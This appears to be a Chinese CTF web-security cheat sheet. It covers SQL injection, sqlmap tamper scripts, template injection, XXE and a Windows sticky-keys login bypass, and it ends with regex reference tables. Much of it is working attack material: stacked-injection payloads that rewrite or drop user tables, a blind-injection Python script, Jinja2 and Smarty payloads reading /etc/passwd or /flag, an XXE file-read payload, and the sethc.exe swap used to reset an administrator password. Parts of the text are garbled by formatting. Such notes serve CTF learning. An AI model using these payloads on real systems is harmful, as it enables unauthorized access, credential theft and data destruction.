根据观察可以看出,如果正则表达式是加在某个字段后面,是可以挨个匹配字段的某个值的。并且如果匹配错误可以直接不回显。、
同样的,可以和其他的函数进行合并:
select pass from user where username= if(load_file('/var/www/html/api/index.php' )regexp('ctfshow{5' ),1 ,0 )
注意,此处的合并是没有单双引号的。
load_file读取服务器本地文件内容 这个没什么好说的,读取具有可读取权限的内容,如果没权限是完全读取不了的。下面是本地的测试:(web189)
# 指定的用户目录下的文件无法读取,if返回0 ,打印所有的非数字开头的用户 MariaDB [kali]> select * from user where username= if(load_file('/home/xiaodi/flag.txt' )regexp('ctfshow{' ),1 ,0 ); + | username | password | + | admin | asdasdfadfasfasdf | | user1 | safsdafsdfasfdsdfa | + 2 rows in set , 2 warnings (0.000 sec)# 读取具有一定权限的index.php文件,读取正确时if返回1 ,1 无法匹配用户名,返回空 MariaDB [kali]> select * from user where username= if(load_file('/var/www/html/index.php' )regexp('ctfshow{5' ),1 ,0 ); Empty set , 2 warnings (0.000 sec)
上面那个是合并用法,下面单独列出来试试:
MariaDB [kali]> select load_file('/home/xiaodi/flag.txt' ); + | load_file('/home/xiaodi/flag.txt' ) | + | NULL | + 1 row in set (0.000 sec)MariaDB [kali]> select load_file('/var/www/html/index.php' ); + | load_file('/var/www/html/index.php' ) | + | < ?php$flag= "ctfshow{54b3a029-69fd-4b1b-9227-ba171558021a}"; phpinfo(); | + 1 row in set (0.000 sec)
可以看到,能读取出文件内容的只有index.php。接下来看看权限:
xiaodi@xiaodi-test:~$ ll | grep flag -rw-rw-r-- 1 xiaodi xiaodi 47 1月 22 10:12 flag.txt xiaodi@xiaodi-test:~$ ll /var/www/html/index.php -rw-r--r-- 1 root root 72 1月 22 10:57 /var/www/html/index.php
截断字符串 指定位置截断指定字符串-substr/substring/mid 截断字符串的函数有几个:
# 函数(字符串,起始截断处(从1 开始),截断的字符串个数) select substr('ctfshow' ,3 ,1 );select substring ('ctfshow' ,3 ,1 );select mid('ctfshow' ,1 ,1 );
按字符左右截断-left/right # 从字符串左边获取一个字符 select left ('ctfshow' ,1 );# 从字符串右边获取一个字符 select right ('ctfshow' ,1 );
查出指定字符串第一次出现的位置 # 函数(单个字符串,被查询的字符串,4 ) function (a,b,c) # 根据c开始的位置(从1 开始),从b查询a第一次出现的位置。 select locate('s' ,'ctfshow' ,4 ) content;# instr获取的是字符串第一次出现的位置,但无法限制字符串的起始位置 select instr('ctfshow' ,'c' );
替换字符串 # replace,将字符串特定字符串替换为指定字符串 select replace('ctfshow' ,'ow' ,'ed' ) content;
堆叠注入 update堆叠更新用户密码 在已知表名字的的情况下,可以尝试直接改写用户的密码实现注入:
select * from test1 where username= 0 ;update `ctfshow_user`set `pass`= 0x31333134 ;# 意思是在原定的select 的语句后面使用分号,插入意外的update 语句更新ctfshow_user列表的所有内容 update `test1`set `pass`= '1314' where `username`= 'admin' ;
select绕过密码验证 具体看 web196
题,使用的是select返回字符串作为密码。
$sql = "select pass from ctfshow_user where username = {$username} ;" ; $sql = "select pass from ctfshow_user where username = 1;select(0);" ;
单表用户登录绕过 之所以这么说,也是有原因的。如果是多表,八成会报错。本地查询测试的时候就报错了。
select pass from ctfshow_user where username=$username username: 1 ;show tables password: ctfshow_user
修改字段名进行绕过 情况1: # 原始的sql 句子 select pass from ctfshow_user where username= $username# 对应的用户名和密码 username: 1 ;alter table `ctfshow_user` change `pass` `feng` varchar (255 ); alter table `ctfshow_user` change `id` `pass` varchar (255 ) password: 0 # 修改完成后对pass字段进行数值爆破即可
情况2:交换字段名,使用已泄露的用户名作为密码登录 username: 0 ;alter table ctfshow_user change `username` `pass2` varchar (100 );alter table ctfshow_user change `pass` `username` varchar (100 );alter table ctfshow_user change `pass2` `pass` varchar (100 ) password: 0 # 实现username字段和pass字段互相交换后,可以利用已经泄露的用户名进行登录 # 注意,交换后用户名就是密码,密码就是用户名 username: 0 password: userAUTO # 这个是前期泄露的用户名
删+创+插 username: 0 ;drop table ctfshow_user;create table ctfshow_user(`username` varchar (100 ),`pass` varchar (100 ));insert ctfshow_user(`username`,`pass`)value (1 ,2 ) password: 0
修改成功后再使用1和2进行登录即可
删除指定表(危险操作)
重新创建指定表 create ctfshow_user(`username` varchar (100 ),`pass` varchar (100 ));
插入语句可以无init 注意,插入语句可以带 init
或者不带 init
.
insert into ctfshiow_user (`username`,`pass`)value (1 ,2 );insert ctfshow_user(`username`,`pass`)value (1 ,2 );
如果条件允许的话,可以尝试直接插入用户名和密码。
时间盲注 时间盲注注重的是延时函数,利用反应时间来测试答案的正确性。也正如此,很大程度上极其容易受到网络波动的影响。
SQL-sleep 十分普通的sql延时函数,常用泛用没什么问题,能以秒为单位延时。
benchmark大量计算充当延迟 benchmark(3500000 ,md5('www' ));
利用大量的计算量来充当延迟,具体延时多少还是得使用BP去测试。这个是要消耗服务器性能的。
笛卡尔积–大量查询形成延时 利用对某个大体量数据库进行查询,查询的耗时就是我们需要的延时。一般情况下会堆叠到三层,具体延时多少还是得自己测试。
(SELECT COUNT (* ) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c) # 具体使用 if(1 > 0 ,(SELECT COUNT (* ) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c),1 )
注入流程 ([极客大挑战 2019]LoveSQL)
这里使用的工具是:hackbar 检测是否存在漏洞=>测注入点(回显点)=>爆库=>爆表=>爆字段=>爆字段值=>得到flag 好了,开始手注了: 1 .测试列数 /check.php?username=1 ' order by 1 %23&password=123 此时返回正常的: NO,Wrong username password!!! 刚好测到4时,出现报错: /check.php?username=4' order by 1 %23 &password=123 回显报错是: Unknown column '4' in 'order clause' 说明列数为3 2 .测试回显点 这里采用的是联合查询 /check.php?username=4 ' union select 1,2,3 %23&password=123 ' output: Hello 2 ! Your password is '3' 返回的信息有'2' 和'3' 作为回显点,那么我们就可以……嘿嘿嘿…… 3 .爆库 这个爆库是有个大前提的,就是它必须自带information_schema表 这个是Mysql5.0 开始系统自带的数据表,同时还有其它数据表也是系统自带的 这里先按下不表 尝试爆出当前 '数据库名' 和 '版本信息' : /check.php?username=4 ' union select 1,database(),version() %23&password=123 ' output: Hello geek! Your password is '10.3.18-MariaDB' 说明当前数据库是'geek' ,版本是'10.3.18-MariaDB' , 符合使用那个特殊表的条件 3 .爆表 使用information_schema '爆表名' :(显示问题,分成几行写) /check.php?username=4 ' union select 1, 2,group_concat(table_name) from information_schema.tables where table_schema=database() %23 &password=123 ' output: Hello 2 ! Your password is 'geekuser,l0ve1ysq1' 4 .爆字段 尝试爆刚刚得到表的相关字段(因为'geekuser' 表爆不出重要信息,省略) /check.php?username=4 ' union select 1, group_concat(column_name),3 from information_schema.columns where table_name=' l0ve1ysq1'%password=123 ' 爆出的信息: Hello 2 ! Your password is 'id,username,password' 5 .爆字段值 找到了库名,表名,只需要爆出字段值就能找到目标账户信息了: /check.php?username=1 ' union select 1, group_concat(username,' <br>'),group_concat(password,' <br>') from geek.l0ve1ysq1 %23&password=1 output: Hello 1cl4y,2glzjin,3Z4cHAr7zCr,40xC4m3l,5Ayrain,6Akko,7fouc5,8fouc5,9fouc5,10fouc5,11fouc5,12fouc5,13fouc5,14fouc5,15leixiao,16flag! Your password is ' wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{a2791aca-88 f6-4 c0c-99 f8-4291 bff1dcfc}' ' '末尾处有flag:' flag{a2791aca-88 f6-4 c0c-99 f8-4291 bff1dcfc}
SQL注入流程
布尔型盲注:根据返回页面判断条件真假 时间型盲注:用页面返回时间是否增加判断是否存在注入 基于错误的注入:页面会返回错误信息 联合查询注入:可以使用union的情况下 堆查询注入:可以同时执行多条语句
注入技巧和方法
# 数据库异或注入,有关脚本就不放了,放下有关的SQL 语句: id= 1 ^ (length(database())); id= 1 ^ (ord(SUBSTRING (database(),{},1 ))= {}); id= 1 ^ ((SELECT (ord(SUBSTRING (GROUP_CONCAT(table_name),{},1 )))FROM (information_schema.tables)where (table_schema= database()))= {}); id= 1 ^ ((SELECT (ord(SUBSTRING (GROUP_CONCAT(column_name),{},1 )))FROM (information_schema.columns)where (table_name= "F1naI1y"))= {}); id= 1 ^ ((select (ord(SUBSTRING (GROUP_CONCAT(password),{},1 )))from (geek.F1naI1y))= {});
相关脚本(其实可以按照需求写)
import requestsimport stringdef blind_injection (url ): flag = '' strings = string.printable for num in range (1 ,60 ): for i in strings: payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))' .format (num,ord (i)) post_data = {"id" :payload} res = requests.post(url=url,data=post_data) if 'Hello' in res.text: flag += i print (flag) else : continue print (flag) if __name__ == '__main__' : url = 'http://64368c9f-dd87-4c49-b9a1-d4b82e98c87a.node3.buuoj.cn/index.php' blind_injection(url)
注入函数 version() -- 查询数据库版本 user() -- 查数据库使用者名 database() -- 数据库 to_base64() -- 将数据加密为base64
其它注入-(limit) limit注入 具体详情:大牛博客
mysql 5
的版本。
在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。
into 需要写入shell的权限
procedure 组合使用: procedure analyse
范例如下:
select * from tables limit 0 ,1 procedure analyse(extractvalue(rand(),concat(0x3a ,database(),0x3a )),1 );
这是结合报错注入的。
注入工具(SQLMAP) SQLmap 常用/使用过的sqlmap语法 -u -p -r -D -T -C --user-agent --referer --data "id=1" --header=Content-Type:text/plain --metnod=PUT --dbs --tables --columns --dump
鉴权:
--safe-url="http://xxxx/xxxx" --safe-freq=1
攻击载荷/闭合sql语句
--prefix=PREFIX --suffix=SUFFIX
SQLmap内置脚本 脚本调用:--tamper
注意:脚本调用是遵循顺序的,比如:
--tamper "x1,x2,x3"
那么对应的,脚本会遵循从x1开始不断往后叠加脚本,比如第一个进行空格替换,第二个进行等号的替换,最后一个进行base64加密。
--tamper=x1,x2,x3... 常见的tamper有: apostrophemask.py 用utf8代替引号 equaltolike.py MSSQL * SQLite中like 代替等号 greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号 space2hash.py 空格替换为 space2comment.py 用/**/代替空格 apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论 space2morehash.py MySQL中空格替换为 appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码 ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤 space2mssqlblank.py mssql空格替换为其它空符号 base64encode.py 用base64 编码 space2mssqlhash.py mssql查询中替换空格 modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释 space2mysqlblank.py mysql中空格替换其它空白符号 between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>) space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) multiplespaces.py 围绕SQL关键字添加多个空格 space2plus.py 用+替换空格 bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for 替代 space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集 sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾 chardoubleencode.py 双url编码(不处理以编码的) unionalltounion.py 替换UNION ALL SELECT UNION SELECT charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码; randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写 unmagicquotes.py 宽字符绕过 GPC addslashes randomcomments.py 用/**/分割sql关键字 charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码 securesphere.py 追加特制的字符串 versionedmorekeywords.py MySQL >= 5.1.13注释绕过 halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释
反弹shell –os-shell
部分插件 防空格和乘法符号:
""" Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): retVal = payload if payload: retVal = retVal.replace('-- -' ,'#' ) retVal = retVal.replace(' ' ,chr (0x0a )) retVal = retVal.replace('=' ,chr (0x0a )+'like' +chr (0x0a )) return retVal
base64加密于解密:
import base64a = base64.b64encode('Hello world!' .encode('utf-8' )).decode('utf-8' ) b = base64.b64decode(a.encode('utf-8' )).decode('utf-8' )
绕过方案 python chr (0x0a ) chr (0x09 ) chr (0x09 )+'like' +chr (0x09 )
mysql #当数据库出现: select * from test where id= from_base64($id);#则id必须是: to_base64(payload) 进行对payload的编码解码 select * from test where id= from_base64(to_base64(payload));
模板漏洞/模板注入 模板注入的位置:用户名,密码,回显的参数,UA,XFF等。
判断 模板漏洞判断 ${7 *7 } |==>a{*comment*}b=|=>Smarty | |=>${"z" .join ("ab" )}=|=>Mako | |=>Unknown | |=>Jinja2 |==>{{7 *7 }}=|=>{{7 *'7' }}=|=>Twig | |=>Unknown |=>Not vulnerable 优质的Twig漏洞利用文章:https:
php smarty模板常用payload {if phpinfo ()}{/if } {if system ('ls' )}{/if } {if readfile ('/flag' )}{/if } {if show_source ('/flag' )}{/if } {if system ('cat ../../../flag' )}{/if } smarty中的{if }标签中可以执行php语句
python 参考链接:https://blog.csdn.net/m0_51428325/article/details/121357005
思想: 有输入输出八成有注入点 登录框优先考虑爆破,注入,模板 __class__.__bases__[0 ].__subclasses__()[75 ].__init__.__globals__.__builtins__ 组合功能相当于导入并且执行某个内置类 一步不能缺,__builtins__是关键的类似于函数调用的方法 Python模板漏洞和php模板漏洞: 遇到的不多,暂时了解为{{}} 内部包裹的变量可执行。 第一种:利用Jinja2,利用python的很多基类 1. 基础类执行 __class__ 返回类型所属的对象(类) __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ 返回的是该对象的父类(有点坑爹,常用的貌似是带s的那个) __bases__ 返回该对象所继承的所有基类(父类) // __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__ 类的初始化方法 __globals__ 对包含函数全局变量的字典的引用 2. 常见基础调用类函数的执行 >>> '' .__class__.__base__.__subclasses__() >>> '' .__class__.__base__.__subclasses__()[30 ].__init__ <slot wrapper '__init__' of 'object' objects> >>> '' .__class__.__base__.__subclasses__()[5 ].__init__ >>> '' .__class__.__base__.__subclasses__()[5 ].__init__.__globals__['__builtins__' ]['eval' ] 详细参照:https://blog.csdn.net/weixin_54515836/article/details/113778233 上面的两种情况都有一个致命的缺点:必须带括号。 3. 补充: __builtins__ :包含内置函数,异常等类型 运用:__builtins__.print ('hello world' ) 4. 调用补充: 除开 '' 外,还有: () {} [] 不带括号的情况:参照这个大佬:https://blog.csdn.net/miuzzx/article/details/110220425 等式成立: {{"" .__class__}} == {{"" ['__classs__' ]}} 1. url_for:动态视图函数 {{url_for.__globals__['__builtins__' ]}} {{url_for.__globals__.__getitem__('__builtins__' )}} {{url_for.__globals__.pop('__builtins__' )}} {{url_for.__globals__.get('__builtins__' )}} {{url_for.__globals__.setdefault('__builtins__' )}} eg: /shrine/{{url_for.__globals__['current_app' ].config}} 2. 其它调用: {{{}.__class__.__mro__[-1 ].__subclasses__()[102 ].__init__.__globals__['open' ]('/etc/passwd' ).read()}} 或者这个也行: {{().__class__.__bases__[0 ].__subclasses__()[75 ].__init__.__globals__.__builtins__['open' ]('/etc/passwd' ).read()}} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open ('txt.galf_eht_si_siht/' [::-1 ],'r' ).read() }}{% endif %}{% endfor %}
JAVA https://blog.csdn.net/wy_97/article/details/78165051
java模板漏洞博客信息:WEB-INF/web.xml泄露 WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件 https:
SSI语法–shtml SSI语法 SHTML文件中使用SSI指令引用其他的html文件( 1 .显示服务器端环境变量<<!– <!– <! 2 .将文本内容直接插入到文档中<<! <!-- <! <!-- 3 .显示WEB文档相关信息<<! <!– 4 .直接执行服务器上的各种程序<<!– <!-- <!– <!--
XXE漏洞 大佬参照1:https://www.cnblogs.com/s1awwhy/p/13736633.html
大佬参照2:https://www.cnblogs.com/lktop/p/13774088.html
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd" > ]> <user > <username > &admin; </username > <password > password</password > </user >
前端绕过 寻常的游戏传参绕过:审计JS,有可能直接审出flag,或者通过浏览器审查的console窗口修改JS断点出的js参数值,拿下flag。
涉及:前端JS审计,谷歌浏览器断点调试。
爆破 Python idna编码爆破脚本 相关题目:[SUCTF 2019]Pythonginx
from urllib import parsefrom urllib.parse import urlparse, urlunsplit, urlsplitdef getUrl (url ): host = parse.urlparse(url).hostname if host == 'suctf.cc' : return False parts = list (urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return False newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : print (url) return True else : return False for x in range (65536 ): c = chr (x) try : if getUrl("file://suctf.c{}/" .format (c)): print ("str: " + c + " unicode: \\u" + str (hex (x))[2 :]) except : pass
windows专题 hosts文件位置
C:\Windows\System32\drivers\etc
cmd命令 CMD 工具路径:c:\windows\system32\cmd
用户账户密码存储位置:c:\windows\system32\config\SAM
修改账户密码:net user 用户名 新密码
创建一个新用户:net user 用户名 新密码 /add
删除用户:net user 用户名 /del
net user administrator "" net user test test /add net user administrator test /add
shift连按五次的滞留键攻击
测试版本信息:Windows7
Windows的软件:cmd.exe,sethc.exe
计算机开屏,还没输入账密时,连按5次shift,弹出【您的计算机无法启动】=> 【启动修复】=> [取消]
等待一段时间后会出现【启动修复】并且表示【是否发送信息】,在这里要选择【查看问题详细信息】,点击第二个链接【本地脱机】访问
本地脱机访问成功后会来到默认的文本文件打开窗口,通过这个窗口,点击【编辑】=> 【打开】=》【Windows/System32】
选择打开全部文件,将原本 sethc.exe
修改为 123.exe
,将 cmd.exe
修改为 sethc.exe
.
关掉所有页面重启计算机,再次按下五次shift触发cmd窗口。
修改密码 net user administrator ""
并且进行无密码登录即可进入系统。
正则表达式 某些通用格式匹配 https://www.cnblogs.com/fozero/p/7868687.html
一、校验数字的表达式 1. 数字:^[0-9]*$ 2. n位的数字:^\d{n}$ 3. 至少n位的数字:^\d{n,}$ 4. m-n位的数字:^\d{m,n}$ 5. 零和非零开头的数字:^(0|[1-9][0-9]*)$ 6. 非零开头的最多带两位小数的数字:^([1-9][0-9]*)+(.[0-9]{1,2})?$ 7. 带1-2位小数的正数或负数:^(\-)?\d+(\.\d{1,2})?$ 8. 正数、负数、和小数:^(\-|\+)?\d+(\.\d+)?$ 9. 有两位小数的正实数:^[0-9]+(.[0-9]{2})?$ 10. 有1~3位小数的正实数:^[0-9]+(.[0-9]{1,3})?$ 11. 非零的正整数:^[1-9]\d*$ 或 ^([1-9][0-9]*){1,3}$ 或 ^\+?[1-9][0-9]*$ 12. 非零的负整数:^\-[1-9][]0-9"*$ 或 ^-[1-9]\d*$ 13. 非负整数:^\d+$ 或 ^[1-9]\d*|0$ 14. 非正整数:^-[1-9]\d*|0$ 或 ^((-\d+)|(0+))$ 15. 非负浮点数:^\d+(\.\d+)?$ 或 ^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$ 16. 非正浮点数:^((-\d+(\.\d+)?)|(0+(\.0+)?))$ 或 ^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$ 17. 正浮点数:^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$ 或 ^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$ 18. 负浮点数:^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$ 或 ^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$ 19. 浮点数:^(-?\d+)(\.\d+)?$ 或 ^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$ 二、校验字符的表达式 1. 汉字:^[\u4e00-\u9fa5]{0,}$ 2. 英文和数字:^[A-Za-z0-9]+$ 或 ^[A-Za-z0-9]{4,40}$ 3. 长度为3-20的所有字符:^.{3,20}$ 4. 由26个英文字母组成的字符串:^[A-Za-z]+$ 5. 由26个大写英文字母组成的字符串:^[A-Z]+$ 6. 由26个小写英文字母组成的字符串:^[a-z]+$ 7. 由数字和26个英文字母组成的字符串:^[A-Za-z0-9]+$ 8. 由数字、26个英文字母或者下划线组成的字符串:^\w+$ 或 ^\w{3,20}$ 9. 中文、英文、数字包括下划线:^[\u4E00-\u9FA5A-Za-z0-9_]+$ 10. 中文、英文、数字但不包括下划线等符号:^[\u4E00-\u9FA5A-Za-z0-9]+$ 或 ^[\u4E00-\u9FA5A-Za-z0-9]{2,20}$ 11. 可以输入含有^%&',;=?$\"等字符:[^%&',;=?$\x22]+ 12 禁止输入含有~的字符:[^~\x22]+ 三、特殊需求表达式 1. Email地址:^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$ 2. 域名:[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(/.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+/.? 3. InternetURL:[a-zA-z]+://[^\s]* 或 ^http://([\w-]+\.)+[\w-]+(/[\w-./?%&=]*)?$ 4. 手机号码:^(13[0-9]|14[5|7]|15[0|1|2|3|5|6|7|8|9]|18[0|1|2|3|5|6|7|8|9])\d{8}$ 5. 电话号码(" XXX-XXXXXXX"、" XXXX-XXXXXXXX"、" XXX-XXXXXXX"、" XXX-XXXXXXXX"、" XXXXXXX"和" XXXXXXXX):^(\(\d{3,4}-)|\d{3.4}-)?\d{7,8}$6. 国内电话号码(0511-4405222、021-87888822):\d{3}-\d{8}|\d{4}-\d{7} 7. 身份证号(15位、18位数字):^\d{15}|\d{18}$ 8. 短身份证号码(数字、字母x结尾):^([0-9]){7,18}(x|X)?$ 或 ^\d{8,18}|[0-9x]{8,18}|[0-9X]{8,18}?$ 9. 帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$ 10. 密码(以字母开头,长度在6~18之间,只能包含字母、数字和下划线):^[a-zA-Z]\w{5,17}$ 11. 强密码(必须包含大小写字母和数字的组合,不能使用特殊字符,长度在8-10之间):^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,10}$ 12. 日期格式:^\d{4}-\d{1,2}-\d{1,2} 13. 一年的12个月(01~09和1~12):^(0?[1-9]|1[0-2])$ 14. 一个月的31天(01~09和1~31):^((0 ?[1 -9 ])|((1 |2 )[0 -9 ])|30 |31 )$ 15 . 钱的输入格式:16 . 1 .有四种钱的表示形式我们可以接受:"10000.00 " 和 "10 ,000.00 ", 和没有 "分" 的 "10000 " 和 "10 ,000 ":^[1 -9 ][0 -9 ]*$17 . 2 .这表示任意一个不以0 开头的数字,但是,这也意味着一个字符"0 "不通过,所以我们采用下面的形式:^(0 |[1 -9 ][0 -9 ]*)$18 . 3 .一个0 或者一个不以0 开头的数字.我们还可以允许开头有一个负号:^(0 |-?[1 -9 ][0 -9 ]*)$19 . 4 .这表示一个0 或者一个可能为负的开头不为0 的数字.让用户以0 开头好了.把负号的也去掉,因为钱总不能是负的吧.下面我们要加的是说明可能的小数部分:^[0 -9 ]+(.[0 -9 ]+)?$20 . 5 .必须说明的是,小数点后面至少应该有1 位数,所以"10 ."是不通过的,但是 "10 " 和 "10.2 " 是通过的:^[0 -9 ]+(.[0 -9 ]{2 })?$21 . 6 .这样我们规定小数点后面必须有两位,如果你认为太苛刻了,可以这样:^[0 -9 ]+(.[0 -9 ]{1 ,2 })?$22 . 7 .这样就允许用户只写一位小数.下面我们该考虑数字中的逗号了,我们可以这样:^[0 -9 ]{1 ,3 }(,[0 -9 ]{3 })*(.[0 -9 ]{1 ,2 })?$23 8.1 到3 个数字,后面跟着任意个 逗号+3 个数字,逗号成为可选,而不是必须:^([0 -9 ]+|[0 -9 ]{1 ,3 }(,[0 -9 ]{3 })*)(.[0 -9 ]{1 ,2 })?$24 . 备注:这就是最终结果了,别忘了"+"可以用"*"替代如果你觉得空字符串也可以接受的话(奇怪,为什么?)最后,别忘了在用函数时去掉去掉那个反斜杠,一般的错误都在这里25 . xml文件:^([a-zA-Z]+-?)+[a-zA-Z0-9 ]+\\.[x|X][m|M][l|L]$26 . 中文字符的正则表达式:[\u4e00-\u9fa5]27 . 双字节字符:[^\x00-\xff] (包括汉字在内,可以用来计算字符串的长度(一个双字节字符长度计2 ,ASCII字符计1 ))28. 空白行的正则表达式:\n\s*\r (可以用来删除空白行) 29. HTML标记的正则表达式:<(\S*?)[^>]*>.*?</\1>|<.*? /> (网上流传的版本太糟糕,上面这个也仅仅能部分,对于复杂的嵌套标记依旧无能为力) 30. 首尾空白字符的正则表达式:^\s*|\s*$或(^\s*)|(\s*$) (可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式) 31. 腾讯QQ号:[1-9][0-9]{4,} (腾讯QQ号从10000开始) 32. 中国邮政编码:[1-9]\d{5}(?!\d) (中国邮政编码为6位数字) 33. IP地址:\d+\.\d+\.\d+\.\d+ (提取IP地址时有用) 34. IP地址:((?:(?:25 [0 -5 ]|2 [0 -4 ]\\d|[01 ]?\\d?\\d)\\.){3 }(?:25 [0 -5 ]|2 [0 -4 ]\\d|[01 ]?\\d?\\d))
修饰符匹配 i (PCRE_CASELESS) 如果设置了这个修饰符, 模式中的字母会进行大小写不敏感匹配. m (PCRE_MULTILINE) 默认情况下, PCRE认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首" 元字符(^)仅匹配字符串的开始位置, 而"行末" 元字符(KaTeX parse error: Undefined control sequence: \n at position 143: …符. 如果目标字符串 中没有"\̲n̲" 字符, 或者模式中没有出现^…, 设置这个修饰符不产生任何影响. s (PCRE_DOTALL) 如果设置了这个修饰符, 模式中的点号元字符匹配所有字符, 包含换行符. 如果没有这个 修饰符, 点号不匹配换行符. 这个修饰符等同于perl中的/s修饰符.一个取反字符类比如 [^a]总是匹配换行符, 而不依赖于这个修饰符的设置. x (PCRE_EXTENDED) 如果设置了这个修饰符, 模式中的没有经过转义的或不在字符类中的空白数据字符总会被忽略, 并且位于一个未转义的字符类外部的 e (PREG_REPLACE_EVAL) 如果这个修饰符设置了, preg_replace()在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php代码评估执行(eval 函数方式), 并使用执行结果 作为实际参与替换的字符串. 单引号, 双引号, 反斜线()和NULL字符在后向引用替换时会被用反斜线转义. Tip 请确保replacement参数由合法php代码字符串组成, 否则php将会 在preg_replace()调用的行上 产生一个解释错误. Note: 仅 preg_replace()使用此修饰符, 其他PCRE函数忽略此修饰符. A (PCRE_ANCHORED) 如果设置了这个修饰符, 模式被强制为"锚定" 模式, 也就是说约束匹配使其仅从 目标字符串的开始位置搜索. 这个效果同样可以使用适当的模式构造出来,并且 这也是perl种实现这种模式的唯一途径. D (PCRE_DOLLAR_ENDONLY) 如果这个修饰符被设置, 模式中的元字符美元符号仅仅匹配目标字符串的末尾. 如果这个修饰符 没有设置, 当字符串以一个换行符结尾时, 美元符号还会匹配该换行符(但不会匹配之前的任何换行符). 如果设置了修饰符m, 这个修饰符被忽略. 在perl中没有与此修饰符等同的修饰符. S 当一个模式需要多次使用的时候, 为了得到匹配速度的提升, 值得花费一些时间 对其进行一些额外的分析. 如果设置了这个修饰符, 这个额外的分析就会执行. 当前, 这种对一个模式的分析仅仅适用于非锚定模式的匹配(即没有单独的固定开始字符). U (PCRE_UNGREEDY) 这个修饰符逆转了量词的"贪婪" 模式. 使量词默认为非贪婪的, 通过量词后紧跟?的方式可以使其成为贪婪的. 这和perl是不兼容的. 它同样可以使用 模式内修饰符设置(?U)进行设置, 或者在量词后以问号标记其非贪婪(比如.*?). Note: 在非贪婪模式, 通常不能匹配超过 pcre.backtrack_limit的字符. X (PCRE_EXTRA) 这个修饰符打开了PCRE与perl不兼容的附件功能. 模式中的任意反斜线后就ingen一个 没有特殊含义的字符都会导致一个错误, 以此保留这些字符以保证向后兼容性. 默认 情况下, 在perl中, 反斜线紧跟一个没有特殊含义的字符被认为是该字符的原文. 当前没有其他特性由这个修饰符控制. J (PCRE_INFO_JCHANGED) 内部选项设置(?J)修改本地的PCRE_DUPNAMES选项. 允许子组重名. (译注:只能通过内部选项设置, 